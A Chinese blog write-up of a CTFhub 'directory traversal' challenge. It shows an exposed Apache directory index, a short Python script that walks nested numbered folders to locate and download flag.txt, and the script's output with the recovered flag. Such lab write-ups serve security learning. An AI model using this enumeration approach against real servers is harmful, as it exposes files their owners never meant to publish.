

CTFhub-目录遍历

原创

[仲夏☆如烟彡](#) 于 2021-01-26 16:13:36 发布 324 收藏 1

分类专栏: [web](#) 文章标签: [安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_44074767/article/details/113182678

版权



[web](#) 专栏收录该内容

14 篇文章 0 订阅

订阅专栏

CTFhub-目录遍历

← → ↻ ⚠ 不安全 | challenge-10ea8df6c2f94558.sandbox.ctfhub.com:10080/flag_in_here/

Index of /flag_in_here

Name	Last modified	Size	Description
Parent Directory		-	
1/	2021-01-26 07:31	-	
2/	2021-01-26 07:31	-	
3/	2021-01-26 07:31	-	
4/	2021-01-26 07:31	-	

Apache/2.4.38 (Debian) Server at challenge-10ea8df6c2f94558.sandbox.ctfhub.com Port 10080 https://blog.csdn.net/weixin_44074767

编写脚本

```

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
import time

#url = "http://challenge-a2aa3d58b775fdfd.sandbox.ctfhub.com:10080/flag_in_here"
url = input("请输入地址>>>")
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'
}

for i in range(5):
    for j in range(5):
        url_test = url+"/"+str(i)+"/"+str(j)
        r = requests.get(url_test)
        r.encoding = 'utf-8'
        get_file=r.text
        if "flag.txt" in get_file:
            print("ah,找到了, 目标在这里:\n"+url_test)
            flag_addr = url_test+"/flag.txt"
            flag = requests.get(flag_addr)
            print("flag为: \n"+flag.text)
            break
        ...
    else:
        print("开始检索"+url_test)
        time.sleep(1)
        print("\n~aha,不在这儿")
    ...

```

最后结果

```

~aha,不在这儿
开始检索http://challenge-10ea8df6c2f94558.sandbox.ctfhub.com:10080/flag_in_here//4/2
~aha,不在这儿
ah,找到了, 目标在这里:
http://challenge-10ea8df6c2f94558.sandbox.ctfhub.com:10080/flag_in_here//4/3
ctfhub {f3bb0b8c4586112a3d0a0492}

```